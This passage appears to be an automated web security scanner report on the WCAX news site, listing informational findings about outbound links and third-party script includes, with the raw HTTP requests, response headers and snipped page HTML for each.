<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<div id="WNBranding"><img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
<li class="wnAddThisTool wnAddThisTool-All"><a href="http://addthis.com/bookmark.php?v=250&amp;username=xa-4bbcc485014c0ab2" class="addthis_button_compact">Share</a>
...[SNIP]...
<!--END WNStoryUtils-->
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4bbcc485014c0ab2"></script>
...[SNIP]...
<div class="wnStoryBodyGraphic wnImageWidth-180"><img src="http://WCAX.images.worldnow.com/images/465801_BG4.jpg" alt="WCAX Assignment Editor Scott Waterman" title="WCAX Assignment Editor Scott Waterman" border="0" width="180">
<span>
...[SNIP]...
<p>You can also send your ideas to the <a href="http://twitter.com/wcaxnewsdesk" target="_blank">WCAX Newsdesk via Twitter!</a>
...[SNIP]...
<a href="/Global/category.asp?C=18830"><img src="http://WCAX.images.worldnow.com/images/37412_G.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.10. http://www.wcax.com/Global/story.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/story.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /Global/story.asp?S=452989 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/category.asp?C=189321
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302353981562:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS54
P3P: CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 39845
Cache-Control: private, max-age=298
Expires: Sat, 09 Apr 2011 13:20:59 GMT
Date: Sat, 09 Apr 2011 13:16:01 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 39845

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Channel 3
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<div id="WNBranding"><img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
<li class="wnAddThisTool wnAddThisTool-All"><a href="http://addthis.com/bookmark.php?v=250&amp;username=xa-4bbcc485014c0ab2" class="addthis_button_compact">Share</a>
...[SNIP]...
<!--END WNStoryUtils-->
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=xa-4bbcc485014c0ab2"></script>
...[SNIP]...
<a href="/Global/link.asp?L=186750"><img src="http://WCAX.images.worldnow.com/images/186750_LS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</span> <img class="wnVideoIncluded" src="http://WCAX.images.worldnow.com/images/static/container-e/icon_video_included.gif" alt="Video included" border="0"></a>
...[SNIP]...
<a href="/Global/story.asp?S=451085"><img src="http://WCAX.images.worldnow.com/images/451085_SS.jpg" alt="" title="" border="0" width="90"></a>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
4.11. http://www.wcax.com/build.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /build.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /build.asp?buildtype=buildpagexmlrequest&featureType=S&featureid=503137&affiliateno=183&clientgroupid=1&rnd=152692 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/global/video/flash/widgets/WNGallery.swf?ver=201010090400
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352546556:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: iis51
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/xml; charset=utf-8
ntCoent-Length: 258153
Cache-Control: private, max-age=300
Date: Sat, 09 Apr 2011 12:35:53 GMT
Connection: close
Vary: Accept-Encoding
Connection: Transfer-Encoding
Content-Length: 258153

<?xml version="1.0" encoding="utf-8"?><DEFAULT><CURRENT><TYPE>S</TYPE><ID>503137</ID><STATUS>L</STATUS><owner><affiliateno>183</affiliateno><affiliatename>WCAX</affiliatename><baseurl>www.wcax.com</ba
...[SNIP]...
<span style="white-space:nowrap;"><script src="http://ads.adbrite.com/mb/text_group.php?sid=640921&zs=3436385f3630" type="text/javascript"></script><!--
--><a target="_top" href="http://www.adbrite.com/mb/commerce/purchase_form.php?opid=640921&afsid=1"><img src="http://files.adbrite.com/mb/images/adbrite-your-ad-here-banner.gif" style="background-color:#CCCCCC;border:none;padding:0;margin:0;" alt="Your Ad Here" width="11" height="60" border="0" /></a>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<br>(to download, click <a class='Help' href='http://www.microsoft.com/windows/windowsmedia/download/default.asp' target='_blank'>here</a>
...[SNIP]...
</script><script language='JavaScript' src='http://www.google.com/afsonline/show_afs_ads.js'></script>
...[SNIP]...
</script><script type='text/javascript' src='http://content.worldnow.com/global/interface/google/googleads.js?ver=200901240400'></script><link rel='stylesheet' type='text/css' href='http://content.worldnow.com/global/interface/google/googleads.css?ver=200901240400'>]]>
...[SNIP]...
</script><script type='text/javascript' src='http://content.worldnow.com/global/interface/google/googlecsearch.js'></script>
...[SNIP]...
</script><script language="JavaScript" src="http://www.google.com/afsonline/show_afs_ads.js"></script>
...[SNIP]...
</script>
               <script type='text/javascript' src='http://content.worldnow.com/global/interface/httprequest/httprequest.js?ver=200711031508'></script><script type='text/javascript' src='http://content.worldnow.com/global/interface/google/googleads.js?ver=200711031508'></script><link rel='stylesheet' type='text/css' href='http://content.worldnow.com/global/interface/google/googleads.css?ver=200711031508'>]]>
...[SNIP]...
</script>
               <script type='text/javascript' src='http://content.worldnow.com/global/interface/httprequest/httprequest.js?ver=200711031508'></script><script type='text/javascript' src='http://content.worldnow.com/global/interface/google/googleads.js?ver=200711031508'></script><link rel='stylesheet' type='text/css' href='http://content.worldnow.com/global/interface/google/googleads.css?ver=200711031508'>]]>
...[SNIP]...
</script><script language='JavaScript' src='http://www.google.com/afsonline/show_afs_ads.js'></script>
...[SNIP]...
4.12. http://www.wcax.com/global/link.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /global/link.asp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /global/link.asp?L=104054&function=manageprofile&mode=create&referrer=http%3A//www.wcax.com/Global/link.asp%3FL%3D398823 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/Global/link.asp?L=398823
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352689361:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: IIS10
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: CACHE_DB
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 25781
Cache-Control: private, max-age=900
Date: Sat, 09 Apr 2011 12:38:19 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 25781

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Registrati
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
<link type="text/css" rel="stylesheet" media="all" href="http://content.worldnow.com/global/interface/container-e/core.css?ver=201011111600">
<link type="text/css" rel="stylesheet" media="all" href="http://WCAX.images.worldnow.com/interface/css/container-e.css?ver=2011-03-26%2003%3A55%3A56">
<!--[if lt IE 6]>
...[SNIP]...
<![endif]-->
<link rel="stylesheet" type="text/css" href="http://content.worldnow.com/global/interface/integration/jquery.fancybox-1.3.1.css" media="screen">
<!--MENU INCLUDES-->
<link rel="stylesheet" href="http://content.worldnow.com/global/interface/menu/menu.css?ver=201011111600" type="text/css"><style type="text/css">
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
<label for="WNSearchBox-headertop-google_cs">WEB SEARCH BY <img src='http://WCAX.images.worldnow.com/global/images/google/google-logo.gif' alt='Google' class='wnSearchBoxLabelImg-google'></label>
...[SNIP]...
<div id="WNBranding"><img id="WNBrandingImage" usemap="#wnBrandingMap" alt="" border="0" src="http://WCAX.images.worldnow.com/images/static/hdr/hdr_branding.jpg"><map name="wnBrandingMap">
...[SNIP]...
<a href="/Global/category.asp?C=18195"><img src="http://WCAX.images.worldnow.com/images/272499_G.gif" width="37" height="29" border="0" alt="Home WCAX.com" title="Home WCAX.com" onsrc="http://WCAX.images.worldnow.com/images/272500_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18197"><img src="http://WCAX.images.worldnow.com/images/272501_G.gif" width="34" height="29" border="0" alt="Local News" title="Local News" onsrc="http://WCAX.images.worldnow.com/images/272502_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18196"><img src="http://WCAX.images.worldnow.com/images/272503_G.gif" width="54" height="29" border="0" alt="Weather" title="Weather" onsrc="http://WCAX.images.worldnow.com/images/272504_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18198"><img src="http://WCAX.images.worldnow.com/images/272505_G.gif" width="43" height="29" border="0" alt="Sports" title="Sports" onsrc="http://WCAX.images.worldnow.com/images/272506_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=408799"><img src="http://WCAX.images.worldnow.com/images/272508_G.gif" width="74" height="29" border="0" alt="WCAX Vermontopia Community Calendar" title="WCAX Vermontopia Community Calendar" onsrc="http://WCAX.images.worldnow.com/images/272509_G.gif"></a>
...[SNIP]...
<a href="javascript:OpenWin('http://www.vermontopia.com||height=768,width=1024,location=yes,resizable=yes,scrollbars=yes,toolbar=yes');"><img src="http://WCAX.images.worldnow.com/images/272510_G.gif" width="82" height="29" border="0" alt="Vermontopia.com" title="Vermontopia.com" onsrc="http://WCAX.images.worldnow.com/images/272511_G.gif"></a>
...[SNIP]...
<a href="/Global/link.asp?L=398823"><img src="http://WCAX.images.worldnow.com/images/272512_G.gif" width="74" height="29" border="0" alt="WCAX Promotions" title="WCAX Promotions" onsrc="http://WCAX.images.worldnow.com/images/272513_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=68446"><img src="http://WCAX.images.worldnow.com/images/272514_G.gif" width="54" height="29" border="0" alt="LIFESTYLE" title="LIFESTYLE" onsrc="http://WCAX.images.worldnow.com/images/272516_G.gif"></a>
...[SNIP]...
<a href="/Global/category.asp?C=18836"><img src="http://WCAX.images.worldnow.com/images/272517_G.gif" width="60" height="29" border="0" alt="Contact Us" title="Contact Us" onsrc="http://WCAX.images.worldnow.com/images/272518_G.gif"></a>
...[SNIP]...
</div>
<iframe id="spinner" scrolling="no" frameborder="0" marginwidth="0" marginheight="0" src="http://WCAX.images.worldnow.com/global/images/pm/loading.gif"></iframe>
...[SNIP]...
<div id="WNCopyright"><a href="http://www.worldnow.com" target="_blank"><img src="http://WCAX.images.worldnow.com/images/static/container-e/wn_powerby.gif" alt="Powered by WorldNow" border="0"></a>
...[SNIP]...
<noscript><img src="http://analytics.worldnow.com/dcsuhch2hzersfqyzf2de5tct_4d8l/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=8.0.0&amp;WT.sp=WCAX&amp;dcssip=www.wcax.com" name="DCSIMG" width="1" height="1" border="0" alt=""></noscript>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
5. Cross-domain script include  previous  next
There are 8 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

5.1. http://www.wcax.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
WN: iis57
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 76476
Expires: Sat, 09 Apr 2011 12:29:26 GMT
Cache-Control: max-age=0, no-cache
Pragma: no-cache
Date: Sat, 09 Apr 2011 12:29:26 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: ClientGroup=1; expires=Mon, 09-Apr-2012 04:00:00 GMT; path=/
Content-Length: 76476

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>WCAX.COM L
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnvideo.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/menu/menu.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/integration/thirdparty.js?ver=201011111600"></script>
...[SNIP]...
</div>

<script type="text/javascript" src="http://www.worldnow.com/global/interface/jq.js"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/httprequest/httprequest.js"></script>
...[SNIP]...
</div>


<script type="text/javascript" src="http://ftpcontent.worldnow.com/revenue/js/jquery-1.3.2.min.js"></script>
<script type="text/javascript" src="http://ftpcontent.worldnow.com/revenue/js/checktimezone.js"></script>
<script type="text/javascript" src="http://ftpcontent.worldnow.com/revenue/js/ellipses-function.js"></script>
<script type="text/javascript" src="http://ftpcontent.worldnow.com/revenue/js/timeDifference.js"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/httprequest/httprequest.js"></script>
...[SNIP]...
<!--Page Include: BODY--><script type="text/javascript" src="http://tags.crwdcntrl.net/c/492/cc.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/global_zoom.js?ver=201011111600"></script>
...[SNIP]...
5.2. http://www.wcax.com/Global/category.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.wcax.com
Path:   /Global/category.asp

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /Global/category.asp?C=18197 HTTP/1.1
Host: www.wcax.com
Proxy-Connection: keep-alive
Referer: http://www.wcax.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ClientGroup=1; __qca=P0-1094680209-1302352442492; WT_FPC=id=20d5f21d8a4972ac84d1302352164716:lv=1302352442619:ss=1302352164716

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
wn: iis14
P3P: CP="CAO ADMa DEVa TAIa CONi OUR OTRi IND PHY ONL UNI COM NAV INT DEM PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
wn_vars: MEMORY
Content-Type: text/html; charset=utf-8
Cteonnt-Length: 91623
Cache-Control: private, max-age=300
Date: Sat, 09 Apr 2011 12:34:13 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 91623

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-us"><head>
<META http-equiv="Content-Type" content="text/html">
<title>Local News
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/analytics/sdctag.js?ver=201011111600"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/globals.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/jq.js?ver=201011111600"></script>
<script type="text/javascript" src="http://content.worldnow.com/global/interface/container-e/core.js?ver=201011111600"></script>
<script type="text/javascript" language="JavaScript1.3" src="http://content.worldnow.com/global/tools/video/VideoFunctions.js?ver=201011111600"></script>
<script type="text/javascript" src="http://WCAX.images.worldnow.com/interface/js/wnadmanager.js?ver=201011111600"></script>
